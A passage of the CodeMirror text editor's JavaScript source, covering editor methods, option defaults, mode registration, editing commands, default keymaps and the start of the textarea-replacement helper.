(typeof maps[i] != "string" && maps[i].name == map)) { maps.splice(i, 1); return true; } }, addOverlay: methodOp(function(spec, options) { var mode = spec.token ? spec : CodeMirror.getMode(this.options, spec); if (mode.startState) throw new Error("Overlays may not be stateful."); this.state.overlays.push({mode: mode, modeSpec: spec, opaque: options && options.opaque}); this.state.modeGen++; regChange(this); }), removeOverlay: methodOp(function(spec) { var overlays = this.state.overlays; for (var i = 0; i < overlays.length; ++i) { var cur = overlays[i].modeSpec; if (cur == spec || typeof spec == "string" && cur.name == spec) { overlays.splice(i, 1); this.state.modeGen++; regChange(this); return; } } }), indentLine: methodOp(function(n, dir, aggressive) { if (typeof dir != "string" && typeof dir != "number") { if (dir == null) dir = this.options.smartIndent ? "smart" : "prev"; else dir = dir ? "add" : "subtract"; } if (isLine(this.doc, n)) indentLine(this, n, dir, aggressive); }), indentSelection: methodOp(function(how) { var ranges = this.doc.sel.ranges, end = -1; for (var i = 0; i < ranges.length; i++) { var range = ranges[i]; if (!range.empty()) { var from = range.from(), to = range.to(); var start = Math.max(end, from.line); end = Math.min(this.lastLine(), to.line - (to.ch ? 0 : 1)) + 1; for (var j = start; j < end; ++j) indentLine(this, j, how); var newRanges = this.doc.sel.ranges; if (from.ch == 0 && ranges.length == newRanges.length && newRanges[i].from().ch > 0) replaceOneSelection(this.doc, i, new Range(from, newRanges[i].to()), sel_dontScroll); } else if (range.head.line > end) { indentLine(this, range.head.line, how, true); end = range.head.line; if (i == this.doc.sel.primIndex) ensureCursorVisible(this); } } }), // Fetch the parser token for a given character. Useful for hacks // that want to inspect the mode state (say, for completion). getTokenAt: function(pos, precise) { var doc = this.doc; pos = clipPos(doc, pos); var state = getStateBefore(this, pos.line, precise), mode = this.doc.mode; var line = getLine(doc, pos.line); var stream = new StringStream(line.text, this.options.tabSize); while (stream.pos < pos.ch && !stream.eol()) { stream.start = stream.pos; var style = readToken(mode, stream, state); } return {start: stream.start, end: stream.pos, string: stream.current(), type: style || null, state: state}; }, getTokenTypeAt: function(pos) { pos = clipPos(this.doc, pos); var styles = getLineStyles(this, getLine(this.doc, pos.line)); var before = 0, after = (styles.length - 1) / 2, ch = pos.ch; var type; if (ch == 0) type = styles[2]; else for (;;) { var mid = (before + after) >> 1; if ((mid ? styles[mid * 2 - 1] : 0) >= ch) after = mid; else if (styles[mid * 2 + 1] < ch) before = mid + 1; else { type = styles[mid * 2 + 2]; break; } } var cut = type ? type.indexOf("cm-overlay ") : -1; return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1); }, getModeAt: function(pos) { var mode = this.doc.mode; if (!mode.innerMode) return mode; return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode; }, getHelper: function(pos, type) { return this.getHelpers(pos, type)[0]; }, getHelpers: function(pos, type) { var found = []; if (!helpers.hasOwnProperty(type)) return helpers; var help = helpers[type], mode = this.getModeAt(pos); if (typeof mode[type] == "string") { if (help[mode[type]]) found.push(help[mode[type]]); } else if (mode[type]) { for (var i = 0; i < mode[type].length; i++) { var val = help[mode[type][i]]; if (val) found.push(val); } } else if (mode.helperType && help[mode.helperType]) { found.push(help[mode.helperType]); } else if (help[mode.name]) { found.push(help[mode.name]); } for (var i = 0; i < help._global.length; i++) { var cur = help._global[i]; if (cur.pred(mode, this) && indexOf(found, cur.val) == -1) found.push(cur.val); } return found; }, getStateAfter: function(line, precise) { var doc = this.doc; line = clipLine(doc, line == null ? doc.first + doc.size - 1: line); return getStateBefore(this, line + 1, precise); }, cursorCoords: function(start, mode) { var pos, range = this.doc.sel.primary(); if (start == null) pos = range.head; else if (typeof start == "object") pos = clipPos(this.doc, start); else pos = start ? range.from() : range.to(); return cursorCoords(this, pos, mode || "page"); }, charCoords: function(pos, mode) { return charCoords(this, clipPos(this.doc, pos), mode || "page"); }, coordsChar: function(coords, mode) { coords = fromCoordSystem(this, coords, mode || "page"); return coordsChar(this, coords.left, coords.top); }, lineAtHeight: function(height, mode) { height = fromCoordSystem(this, {top: height, left: 0}, mode || "page").top; return lineAtHeight(this.doc, height + this.display.viewOffset); }, heightAtLine: function(line, mode) { var end = false, last = this.doc.first + this.doc.size - 1; if (line < this.doc.first) line = this.doc.first; else if (line > last) { line = last; end = true; } var lineObj = getLine(this.doc, line); return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode || "page").top + (end ? this.doc.height - heightAtLine(lineObj) : 0); }, defaultTextHeight: function() { return textHeight(this.display); }, defaultCharWidth: function() { return charWidth(this.display); }, setGutterMarker: methodOp(function(line, gutterID, value) { return changeLine(this.doc, line, "gutter", function(line) { var markers = line.gutterMarkers || (line.gutterMarkers = {}); markers[gutterID] = value; if (!value && isEmpty(markers)) line.gutterMarkers = null; return true; }); }), clearGutter: methodOp(function(gutterID) { var cm = this, doc = cm.doc, i = doc.first; doc.iter(function(line) { if (line.gutterMarkers && line.gutterMarkers[gutterID]) { line.gutterMarkers[gutterID] = null; regLineChange(cm, i, "gutter"); if (isEmpty(line.gutterMarkers)) line.gutterMarkers = null; } ++i; }); }), addLineWidget: methodOp(function(handle, node, options) { return addLineWidget(this, handle, node, options); }), removeLineWidget: function(widget) { widget.clear(); }, lineInfo: function(line) { if (typeof line == "number") { if (!isLine(this.doc, line)) return null; var n = line; line = getLine(this.doc, line); if (!line) return null; } else { var n = lineNo(line); if (n == null) return null; } return {line: n, handle: line, text: line.text, gutterMarkers: line.gutterMarkers, textClass: line.textClass, bgClass: line.bgClass, wrapClass: line.wrapClass, widgets: line.widgets}; }, getViewport: function() { return {from: this.display.viewFrom, to: this.display.viewTo};}, addWidget: function(pos, node, scroll, vert, horiz) { var display = this.display; pos = cursorCoords(this, clipPos(this.doc, pos)); var top = pos.bottom, left = pos.left; node.style.position = "absolute"; display.sizer.appendChild(node); if (vert == "over") { top = pos.top; } else if (vert == "above" || vert == "near") { var vspace = Math.max(display.wrapper.clientHeight, this.doc.height), hspace = Math.max(display.sizer.clientWidth, display.lineSpace.clientWidth); // Default to positioning above (if specified and possible); otherwise default to positioning below if ((vert == 'above' || pos.bottom + node.offsetHeight > vspace) && pos.top > node.offsetHeight) top = pos.top - node.offsetHeight; else if (pos.bottom + node.offsetHeight <= vspace) top = pos.bottom; if (left + node.offsetWidth > hspace) left = hspace - node.offsetWidth; } node.style.top = top + "px"; node.style.left = node.style.right = ""; if (horiz == "right") { left = display.sizer.clientWidth - node.offsetWidth; node.style.right = "0px"; } else { if (horiz == "left") left = 0; else if (horiz == "middle") left = (display.sizer.clientWidth - node.offsetWidth) / 2; node.style.left = left + "px"; } if (scroll) scrollIntoView(this, left, top, left + node.offsetWidth, top + node.offsetHeight); }, triggerOnKeyDown: methodOp(onKeyDown), triggerOnKeyPress: methodOp(onKeyPress), triggerOnKeyUp: onKeyUp, execCommand: function(cmd) { if (commands.hasOwnProperty(cmd)) return commands[cmd](this); }, findPosH: function(from, amount, unit, visually) { var dir = 1; if (amount < 0) { dir = -1; amount = -amount; } for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) { cur = findPosH(this.doc, cur, dir, unit, visually); if (cur.hitSide) break; } return cur; }, moveH: methodOp(function(dir, unit) { var cm = this; cm.extendSelectionsBy(function(range) { if (cm.display.shift || cm.doc.extend || range.empty()) return findPosH(cm.doc, range.head, dir, unit, cm.options.rtlMoveVisually); else return dir < 0 ? range.from() : range.to(); }, sel_move); }), deleteH: methodOp(function(dir, unit) { var sel = this.doc.sel, doc = this.doc; if (sel.somethingSelected()) doc.replaceSelection("", null, "+delete"); else deleteNearSelection(this, function(range) { var other = findPosH(doc, range.head, dir, unit, false); return dir < 0 ? {from: other, to: range.head} : {from: range.head, to: other}; }); }), findPosV: function(from, amount, unit, goalColumn) { var dir = 1, x = goalColumn; if (amount < 0) { dir = -1; amount = -amount; } for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) { var coords = cursorCoords(this, cur, "div"); if (x == null) x = coords.left; else coords.left = x; cur = findPosV(this, coords, dir, unit); if (cur.hitSide) break; } return cur; }, moveV: methodOp(function(dir, unit) { var cm = this, doc = this.doc, goals = []; var collapse = !cm.display.shift && !doc.extend && doc.sel.somethingSelected(); doc.extendSelectionsBy(function(range) { if (collapse) return dir < 0 ? range.from() : range.to(); var headPos = cursorCoords(cm, range.head, "div"); if (range.goalColumn != null) headPos.left = range.goalColumn; goals.push(headPos.left); var pos = findPosV(cm, headPos, dir, unit); if (unit == "page" && range == doc.sel.primary()) addToScrollPos(cm, null, charCoords(cm, pos, "div").top - headPos.top); return pos; }, sel_move); if (goals.length) for (var i = 0; i < doc.sel.ranges.length; i++) doc.sel.ranges[i].goalColumn = goals[i]; }), // Find the word at the given position (as returned by coordsChar). findWordAt: function(pos) { var doc = this.doc, line = getLine(doc, pos.line).text; var start = pos.ch, end = pos.ch; if (line) { var helper = this.getHelper(pos, "wordChars"); if ((pos.xRel < 0 || end == line.length) && start) --start; else ++end; var startChar = line.charAt(start); var check = isWordChar(startChar, helper) ? function(ch) { return isWordChar(ch, helper); } : /\s/.test(startChar) ? function(ch) {return /\s/.test(ch);} : function(ch) {return !/\s/.test(ch) && !isWordChar(ch);}; while (start > 0 && check(line.charAt(start - 1))) --start; while (end < line.length && check(line.charAt(end))) ++end; } return new Range(Pos(pos.line, start), Pos(pos.line, end)); }, toggleOverwrite: function(value) { if (value != null && value == this.state.overwrite) return; if (this.state.overwrite = !this.state.overwrite) addClass(this.display.cursorDiv, "CodeMirror-overwrite"); else rmClass(this.display.cursorDiv, "CodeMirror-overwrite"); signal(this, "overwriteToggle", this, this.state.overwrite); }, hasFocus: function() { return activeElt() == this.display.input; }, scrollTo: methodOp(function(x, y) { if (x != null || y != null) resolveScrollToPos(this); if (x != null) this.curOp.scrollLeft = x; if (y != null) this.curOp.scrollTop = y; }), getScrollInfo: function() { var scroller = this.display.scroller, co = scrollerCutOff; return {left: scroller.scrollLeft, top: scroller.scrollTop, height: scroller.scrollHeight - co, width: scroller.scrollWidth - co, clientHeight: scroller.clientHeight - co, clientWidth: scroller.clientWidth - co}; }, scrollIntoView: methodOp(function(range, margin) { if (range == null) { range = {from: this.doc.sel.primary().head, to: null}; if (margin == null) margin = this.options.cursorScrollMargin; } else if (typeof range == "number") { range = {from: Pos(range, 0), to: null}; } else if (range.from == null) { range = {from: range, to: null}; } if (!range.to) range.to = range.from; range.margin = margin || 0; if (range.from.line != null) { resolveScrollToPos(this); this.curOp.scrollToPos = range; } else { var sPos = calculateScrollPos(this, Math.min(range.from.left, range.to.left), Math.min(range.from.top, range.to.top) - range.margin, Math.max(range.from.right, range.to.right), Math.max(range.from.bottom, range.to.bottom) + range.margin); this.scrollTo(sPos.scrollLeft, sPos.scrollTop); } }), setSize: methodOp(function(width, height) { var cm = this; function interpret(val) { return typeof val == "number" || /^\d+$/.test(String(val)) ? val + "px" : val; } if (width != null) cm.display.wrapper.style.width = interpret(width); if (height != null) cm.display.wrapper.style.height = interpret(height); if (cm.options.lineWrapping) clearLineMeasurementCache(this); var lineNo = cm.display.viewFrom; cm.doc.iter(lineNo, cm.display.viewTo, function(line) { if (line.widgets) for (var i = 0; i < line.widgets.length; i++) if (line.widgets[i].noHScroll) { regLineChange(cm, lineNo, "widget"); break; } ++lineNo; }); cm.curOp.forceUpdate = true; signal(cm, "refresh", this); }), operation: function(f){return runInOp(this, f);}, refresh: methodOp(function() { var oldHeight = this.display.cachedTextHeight; regChange(this); this.curOp.forceUpdate = true; clearCaches(this); this.scrollTo(this.doc.scrollLeft, this.doc.scrollTop); updateGutterSpace(this); if (oldHeight == null || Math.abs(oldHeight - textHeight(this.display)) > .5) estimateLineHeights(this); signal(this, "refresh", this); }), swapDoc: methodOp(function(doc) { var old = this.doc; old.cm = null; attachDoc(this, doc); clearCaches(this); resetInput(this); this.scrollTo(doc.scrollLeft, doc.scrollTop); this.curOp.forceScroll = true; signalLater(this, "swapDoc", this, old); return old; }), getInputField: function(){return this.display.input;}, getWrapperElement: function(){return this.display.wrapper;}, getScrollerElement: function(){return this.display.scroller;}, getGutterElement: function(){return this.display.gutters;} }; eventMixin(CodeMirror); // OPTION DEFAULTS // The default configuration options. var defaults = CodeMirror.defaults = {}; // Functions to run when options are changed. var optionHandlers = CodeMirror.optionHandlers = {}; function option(name, deflt, handle, notOnInit) { CodeMirror.defaults[name] = deflt; if (handle) optionHandlers[name] = notOnInit ? function(cm, val, old) {if (old != Init) handle(cm, val, old);} : handle; } // Passed to option handlers when there is no old value. var Init = CodeMirror.Init = {toString: function(){return "CodeMirror.Init";}}; // These two are, on init, called from the constructor because they // have to be initialized before the editor can start at all. option("value", "", function(cm, val) { cm.setValue(val); }, true); option("mode", null, function(cm, val) { cm.doc.modeOption = val; loadMode(cm); }, true); option("indentUnit", 2, loadMode, true); option("indentWithTabs", false); option("smartIndent", true); option("tabSize", 4, function(cm) { resetModeState(cm); clearCaches(cm); regChange(cm); }, true); option("specialChars", /[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g, function(cm, val) { cm.options.specialChars = new RegExp(val.source + (val.test("\t") ? "" : "|\t"), "g"); cm.refresh(); }, true); option("specialCharPlaceholder", defaultSpecialCharPlaceholder, function(cm) {cm.refresh();}, true); option("electricChars", true); option("rtlMoveVisually", !windows); option("wholeLineUpdateBefore", true); option("theme", "default", function(cm) { themeChanged(cm); guttersChanged(cm); }, true); option("keyMap", "default", keyMapChanged); option("extraKeys", null); option("lineWrapping", false, wrappingChanged, true); option("gutters", [], function(cm) { setGuttersForLineNumbers(cm.options); guttersChanged(cm); }, true); option("fixedGutter", true, function(cm, val) { cm.display.gutters.style.left = val ? compensateForHScroll(cm.display) + "px" : "0"; cm.refresh(); }, true); option("coverGutterNextToScrollbar", false, updateScrollbars, true); option("lineNumbers", false, function(cm) { setGuttersForLineNumbers(cm.options); guttersChanged(cm); }, true); option("firstLineNumber", 1, guttersChanged, true); option("lineNumberFormatter", function(integer) {return integer;}, guttersChanged, true); option("showCursorWhenSelecting", false, updateSelection, true); option("resetSelectionOnContextMenu", true); option("readOnly", false, function(cm, val) { if (val == "nocursor") { onBlur(cm); cm.display.input.blur(); cm.display.disabled = true; } else { cm.display.disabled = false; if (!val) resetInput(cm); } }); option("disableInput", false, function(cm, val) {if (!val) resetInput(cm);}, true); option("dragDrop", true); option("cursorBlinkRate", 530); option("cursorScrollMargin", 0); option("cursorHeight", 1, updateSelection, true); option("singleCursorHeightPerLine", true, updateSelection, true); option("workTime", 100); option("workDelay", 100); option("flattenSpans", true, resetModeState, true); option("addModeClass", false, resetModeState, true); option("pollInterval", 100); option("undoDepth", 200, function(cm, val){cm.doc.history.undoDepth = val;}); option("historyEventDelay", 1250); option("viewportMargin", 10, function(cm){cm.refresh();}, true); option("maxHighlightLength", 10000, resetModeState, true); option("moveInputWithCursor", true, function(cm, val) { if (!val) cm.display.inputDiv.style.top = cm.display.inputDiv.style.left = 0; }); option("tabindex", null, function(cm, val) { cm.display.input.tabIndex = val || ""; }); option("autofocus", null); // MODE DEFINITION AND QUERYING // Known modes, by name and by MIME var modes = CodeMirror.modes = {}, mimeModes = CodeMirror.mimeModes = {}; // Extra arguments are stored as the mode's dependencies, which is // used by (legacy) mechanisms like loadmode.js to automatically // load a mode. (Preferred mechanism is the require/define calls.) CodeMirror.defineMode = function(name, mode) { if (!CodeMirror.defaults.mode && name != "null") CodeMirror.defaults.mode = name; if (arguments.length > 2) { mode.dependencies = []; for (var i = 2; i < arguments.length; ++i) mode.dependencies.push(arguments[i]); } modes[name] = mode; }; CodeMirror.defineMIME = function(mime, spec) { mimeModes[mime] = spec; }; // Given a MIME type, a {name, ...options} config object, or a name // string, return a mode config object. CodeMirror.resolveMode = function(spec) { if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) { spec = mimeModes[spec]; } else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) { var found = mimeModes[spec.name]; if (typeof found == "string") found = {name: found}; spec = createObj(found, spec); spec.name = found.name; } else if (typeof spec == "string" && /^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) { return CodeMirror.resolveMode("application/xml"); } if (typeof spec == "string") return {name: spec}; else return spec || {name: "null"}; }; // Given a mode spec (anything that resolveMode accepts), find and // initialize an actual mode object. CodeMirror.getMode = function(options, spec) { var spec = CodeMirror.resolveMode(spec); var mfactory = modes[spec.name]; if (!mfactory) return CodeMirror.getMode(options, "text/plain"); var modeObj = mfactory(options, spec); if (modeExtensions.hasOwnProperty(spec.name)) { var exts = modeExtensions[spec.name]; for (var prop in exts) { if (!exts.hasOwnProperty(prop)) continue; if (modeObj.hasOwnProperty(prop)) modeObj["_" + prop] = modeObj[prop]; modeObj[prop] = exts[prop]; } } modeObj.name = spec.name; if (spec.helperType) modeObj.helperType = spec.helperType; if (spec.modeProps) for (var prop in spec.modeProps) modeObj[prop] = spec.modeProps[prop]; return modeObj; }; // Minimal default mode. CodeMirror.defineMode("null", function() { return {token: function(stream) {stream.skipToEnd();}}; }); CodeMirror.defineMIME("text/plain", "null"); // This can be used to attach properties to mode objects from // outside the actual mode definition. var modeExtensions = CodeMirror.modeExtensions = {}; CodeMirror.extendMode = function(mode, properties) { var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {}); copyObj(properties, exts); }; // EXTENSIONS CodeMirror.defineExtension = function(name, func) { CodeMirror.prototype[name] = func; }; CodeMirror.defineDocExtension = function(name, func) { Doc.prototype[name] = func; }; CodeMirror.defineOption = option; var initHooks = []; CodeMirror.defineInitHook = function(f) {initHooks.push(f);}; var helpers = CodeMirror.helpers = {}; CodeMirror.registerHelper = function(type, name, value) { if (!helpers.hasOwnProperty(type)) helpers[type] = CodeMirror[type] = {_global: []}; helpers[type][name] = value; }; CodeMirror.registerGlobalHelper = function(type, name, predicate, value) { CodeMirror.registerHelper(type, name, value); helpers[type]._global.push({pred: predicate, val: value}); }; // MODE STATE HANDLING // Utility functions for working with state. Exported because nested // modes need to do this for their inner modes. var copyState = CodeMirror.copyState = function(mode, state) { if (state === true) return state; if (mode.copyState) return mode.copyState(state); var nstate = {}; for (var n in state) { var val = state[n]; if (val instanceof Array) val = val.concat([]); nstate[n] = val; } return nstate; }; var startState = CodeMirror.startState = function(mode, a1, a2) { return mode.startState ? mode.startState(a1, a2) : true; }; // Given a mode and a state (for that mode), find the inner mode and // state at the position that the state refers to. CodeMirror.innerMode = function(mode, state) { while (mode.innerMode) { var info = mode.innerMode(state); if (!info || info.mode == mode) break; state = info.state; mode = info.mode; } return info || {mode: mode, state: state}; }; // STANDARD COMMANDS // Commands are parameter-less actions that can be performed on an // editor, mostly used for keybindings. var commands = CodeMirror.commands = { selectAll: function(cm) {cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()), sel_dontScroll);}, singleSelection: function(cm) { cm.setSelection(cm.getCursor("anchor"), cm.getCursor("head"), sel_dontScroll); }, killLine: function(cm) { deleteNearSelection(cm, function(range) { if (range.empty()) { var len = getLine(cm.doc, range.head.line).text.length; if (range.head.ch == len && range.head.line < cm.lastLine()) return {from: range.head, to: Pos(range.head.line + 1, 0)}; else return {from: range.head, to: Pos(range.head.line, len)}; } else { return {from: range.from(), to: range.to()}; } }); }, deleteLine: function(cm) { deleteNearSelection(cm, function(range) { return {from: Pos(range.from().line, 0), to: clipPos(cm.doc, Pos(range.to().line + 1, 0))}; }); }, delLineLeft: function(cm) { deleteNearSelection(cm, function(range) { return {from: Pos(range.from().line, 0), to: range.from()}; }); }, delWrappedLineLeft: function(cm) { deleteNearSelection(cm, function(range) { var top = cm.charCoords(range.head, "div").top + 5; var leftPos = cm.coordsChar({left: 0, top: top}, "div"); return {from: leftPos, to: range.from()}; }); }, delWrappedLineRight: function(cm) { deleteNearSelection(cm, function(range) { var top = cm.charCoords(range.head, "div").top + 5; var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div"); return {from: range.from(), to: rightPos }; }); }, undo: function(cm) {cm.undo();}, redo: function(cm) {cm.redo();}, undoSelection: function(cm) {cm.undoSelection();}, redoSelection: function(cm) {cm.redoSelection();}, goDocStart: function(cm) {cm.extendSelection(Pos(cm.firstLine(), 0));}, goDocEnd: function(cm) {cm.extendSelection(Pos(cm.lastLine()));}, goLineStart: function(cm) { cm.extendSelectionsBy(function(range) { return lineStart(cm, range.head.line); }, {origin: "+move", bias: 1}); }, goLineStartSmart: function(cm) { cm.extendSelectionsBy(function(range) { return lineStartSmart(cm, range.head); }, {origin: "+move", bias: 1}); }, goLineEnd: function(cm) { cm.extendSelectionsBy(function(range) { return lineEnd(cm, range.head.line); }, {origin: "+move", bias: -1}); }, goLineRight: function(cm) { cm.extendSelectionsBy(function(range) { var top = cm.charCoords(range.head, "div").top + 5; return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div"); }, sel_move); }, goLineLeft: function(cm) { cm.extendSelectionsBy(function(range) { var top = cm.charCoords(range.head, "div").top + 5; return cm.coordsChar({left: 0, top: top}, "div"); }, sel_move); }, goLineLeftSmart: function(cm) { cm.extendSelectionsBy(function(range) { var top = cm.charCoords(range.head, "div").top + 5; var pos = cm.coordsChar({left: 0, top: top}, "div"); if (pos.ch < cm.getLine(pos.line).search(/\S/)) return lineStartSmart(cm, range.head); return pos; }, sel_move); }, goLineUp: function(cm) {cm.moveV(-1, "line");}, goLineDown: function(cm) {cm.moveV(1, "line");}, goPageUp: function(cm) {cm.moveV(-1, "page");}, goPageDown: function(cm) {cm.moveV(1, "page");}, goCharLeft: function(cm) {cm.moveH(-1, "char");}, goCharRight: function(cm) {cm.moveH(1, "char");}, goColumnLeft: function(cm) {cm.moveH(-1, "column");}, goColumnRight: function(cm) {cm.moveH(1, "column");}, goWordLeft: function(cm) {cm.moveH(-1, "word");}, goGroupRight: function(cm) {cm.moveH(1, "group");}, goGroupLeft: function(cm) {cm.moveH(-1, "group");}, goWordRight: function(cm) {cm.moveH(1, "word");}, delCharBefore: function(cm) {cm.deleteH(-1, "char");}, delCharAfter: function(cm) {cm.deleteH(1, "char");}, delWordBefore: function(cm) {cm.deleteH(-1, "word");}, delWordAfter: function(cm) {cm.deleteH(1, "word");}, delGroupBefore: function(cm) {cm.deleteH(-1, "group");}, delGroupAfter: function(cm) {cm.deleteH(1, "group");}, indentAuto: function(cm) {cm.indentSelection("smart");}, indentMore: function(cm) {cm.indentSelection("add");}, indentLess: function(cm) {cm.indentSelection("subtract");}, insertTab: function(cm) {cm.replaceSelection("\t");}, insertSoftTab: function(cm) { var spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize; for (var i = 0; i < ranges.length; i++) { var pos = ranges[i].from(); var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize); spaces.push(new Array(tabSize - col % tabSize + 1).join(" ")); } cm.replaceSelections(spaces); }, defaultTab: function(cm) { if (cm.somethingSelected()) cm.indentSelection("add"); else cm.execCommand("insertTab"); }, transposeChars: function(cm) { runInOp(cm, function() { var ranges = cm.listSelections(), newSel = []; for (var i = 0; i < ranges.length; i++) { var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text; if (line) { if (cur.ch == line.length) cur = new Pos(cur.line, cur.ch - 1); if (cur.ch > 0) { cur = new Pos(cur.line, cur.ch + 1); cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2), Pos(cur.line, cur.ch - 2), cur, "+transpose"); } else if (cur.line > cm.doc.first) { var prev = getLine(cm.doc, cur.line - 1).text; if (prev) cm.replaceRange(line.charAt(0) + "\n" + prev.charAt(prev.length - 1), Pos(cur.line - 1, prev.length - 1), Pos(cur.line, 1), "+transpose"); } } newSel.push(new Range(cur, cur)); } cm.setSelections(newSel); }); }, newlineAndIndent: function(cm) { runInOp(cm, function() { var len = cm.listSelections().length; for (var i = 0; i < len; i++) { var range = cm.listSelections()[i]; cm.replaceRange("\n", range.anchor, range.head, "+input"); cm.indentLine(range.from().line + 1, null, true); ensureCursorVisible(cm); } }); }, toggleOverwrite: function(cm) {cm.toggleOverwrite();} }; // STANDARD KEYMAPS var keyMap = CodeMirror.keyMap = {}; keyMap.basic = { "Left": "goCharLeft", "Right": "goCharRight", "Up": "goLineUp", "Down": "goLineDown", "End": "goLineEnd", "Home": "goLineStartSmart", "PageUp": "goPageUp", "PageDown": "goPageDown", "Delete": "delCharAfter", "Backspace": "delCharBefore", "Shift-Backspace": "delCharBefore", "Tab": "defaultTab", "Shift-Tab": "indentAuto", "Enter": "newlineAndIndent", "Insert": "toggleOverwrite", "Esc": "singleSelection" }; // Note that the save and find-related commands aren't defined by // default. User code or addons can define them. Unknown commands // are simply ignored. keyMap.pcDefault = { "Ctrl-A": "selectAll", "Ctrl-D": "deleteLine", "Ctrl-Z": "undo", "Shift-Ctrl-Z": "redo", "Ctrl-Y": "redo", "Ctrl-Home": "goDocStart", "Ctrl-Up": "goDocStart", "Ctrl-End": "goDocEnd", "Ctrl-Down": "goDocEnd", "Ctrl-Left": "goGroupLeft", "Ctrl-Right": "goGroupRight", "Alt-Left": "goLineStart", "Alt-Right": "goLineEnd", "Ctrl-Backspace": "delGroupBefore", "Ctrl-Delete": "delGroupAfter", "Ctrl-S": "save", "Ctrl-F": "find", "Ctrl-G": "findNext", "Shift-Ctrl-G": "findPrev", "Shift-Ctrl-F": "replace", "Shift-Ctrl-R": "replaceAll", "Ctrl-[": "indentLess", "Ctrl-]": "indentMore", "Ctrl-U": "undoSelection", "Shift-Ctrl-U": "redoSelection", "Alt-U": "redoSelection", fallthrough: "basic" }; keyMap.macDefault = { "Cmd-A": "selectAll", "Cmd-D": "deleteLine", "Cmd-Z": "undo", "Shift-Cmd-Z": "redo", "Cmd-Y": "redo", "Cmd-Home": "goDocStart", "Cmd-Up": "goDocStart", "Cmd-End": "goDocEnd", "Cmd-Down": "goDocEnd", "Alt-Left": "goGroupLeft", "Alt-Right": "goGroupRight", "Cmd-Left": "goLineLeft", "Cmd-Right": "goLineRight", "Alt-Backspace": "delGroupBefore", "Ctrl-Alt-Backspace": "delGroupAfter", "Alt-Delete": "delGroupAfter", "Cmd-S": "save", "Cmd-F": "find", "Cmd-G": "findNext", "Shift-Cmd-G": "findPrev", "Cmd-Alt-F": "replace", "Shift-Cmd-Alt-F": "replaceAll", "Cmd-[": "indentLess", "Cmd-]": "indentMore", "Cmd-Backspace": "delWrappedLineLeft", "Cmd-Delete": "delWrappedLineRight", "Cmd-U": "undoSelection", "Shift-Cmd-U": "redoSelection", fallthrough: ["basic", "emacsy"] }; // Very basic readline/emacs-style bindings, which are standard on Mac. keyMap.emacsy = { "Ctrl-F": "goCharRight", "Ctrl-B": "goCharLeft", "Ctrl-P": "goLineUp", "Ctrl-N": "goLineDown", "Alt-F": "goWordRight", "Alt-B": "goWordLeft", "Ctrl-A": "goLineStart", "Ctrl-E": "goLineEnd", "Ctrl-V": "goPageDown", "Shift-Ctrl-V": "goPageUp", "Ctrl-D": "delCharAfter", "Ctrl-H": "delCharBefore", "Alt-D": "delWordAfter", "Alt-Backspace": "delWordBefore", "Ctrl-K": "killLine", "Ctrl-T": "transposeChars" }; keyMap["default"] = mac ? keyMap.macDefault : keyMap.pcDefault; // KEYMAP DISPATCH function getKeyMap(val) { if (typeof val == "string") return keyMap[val]; else return val; } // Given an array of keymaps and a key name, call handle on any // bindings found, until that returns a truthy value, at which point // we consider the key handled. Implements things like binding a key // to false stopping further handling and keymap fallthrough. var lookupKey = CodeMirror.lookupKey = function(name, maps, handle) { function lookup(map) { map = getKeyMap(map); var found = map[name]; if (found === false) return "stop"; if (found != null && handle(found)) return true; if (map.nofallthrough) return "stop"; var fallthrough = map.fallthrough; if (fallthrough == null) return false; if (Object.prototype.toString.call(fallthrough) != "[object Array]") return lookup(fallthrough); for (var i = 0; i < fallthrough.length; ++i) { var done = lookup(fallthrough[i]); if (done) return done; } return false; } for (var i = 0; i < maps.length; ++i) { var done = lookup(maps[i]); if (done) return done != "stop"; } }; // Modifier key presses don't count as 'real' key presses for the // purpose of keymap fallthrough. var isModifierKey = CodeMirror.isModifierKey = function(event) { var name = keyNames[event.keyCode]; return name == "Ctrl" || name == "Alt" || name == "Shift" || name == "Mod"; }; // Look up the name of a key as indicated by an event object. var keyName = CodeMirror.keyName = function(event, noShift) { if (presto && event.keyCode == 34 && event["char"]) return false; var name = keyNames[event.keyCode]; if (name == null || event.altGraphKey) return false; if (event.altKey) name = "Alt-" + name; if (flipCtrlCmd ? event.metaKey : event.ctrlKey) name = "Ctrl-" + name; if (flipCtrlCmd ? event.ctrlKey : event.metaKey) name = "Cmd-" + name; if (!noShift && event.shiftKey) name = "Shift-" + name; return name; }; // FROMTEXTAREA CodeMirror.fromTextArea = function(textarea, options) { if (!options) options = {}; options.value = textarea.value; if (!options.tabindex && textarea.tabindex) options.tabindex = textarea.tabindex; if (!options.placeholder && textarea.placeholder) options.placeholder = textarea.placeholder; // Set autofocus to true if this textarea is focused, or if it has // autofocus and no other element is focused. if (options.autofocus == null) { var hasFocus = activeElt(); options.autofocus = hasFocus == textarea || textarea.getAttribute("autofocus") != null && hasFocus == document.body; } function save() {textarea.value = cm.getValue();} if (textarea.form) { on(textarea.form, "submit", save); // Deplorable hack to make the submit method do the right thing. if (!options.leaveSubmitMethodAlone) { var form = textarea.form, realSubmit = form.submit; try { var wrappedSubmit = form.submit = function() { save(); form.submit = realSubmit; form.submit(); form.submit = wrappedSubmit; }; } catch(e) {} } } textarea.style.display = "none"; var cm = CodeMirror(function(node) { textarea.parentNode.insertBefore(node, textarea.nextSibling); }, options); cm.save = save; cm.getTextArea = function() { return textarea; }; cm.toTextArea = function() { save(); textarea.parentNode.removeChild(cm.getWrapperElement()); textarea.style.display = ""; if (textarea.form) { 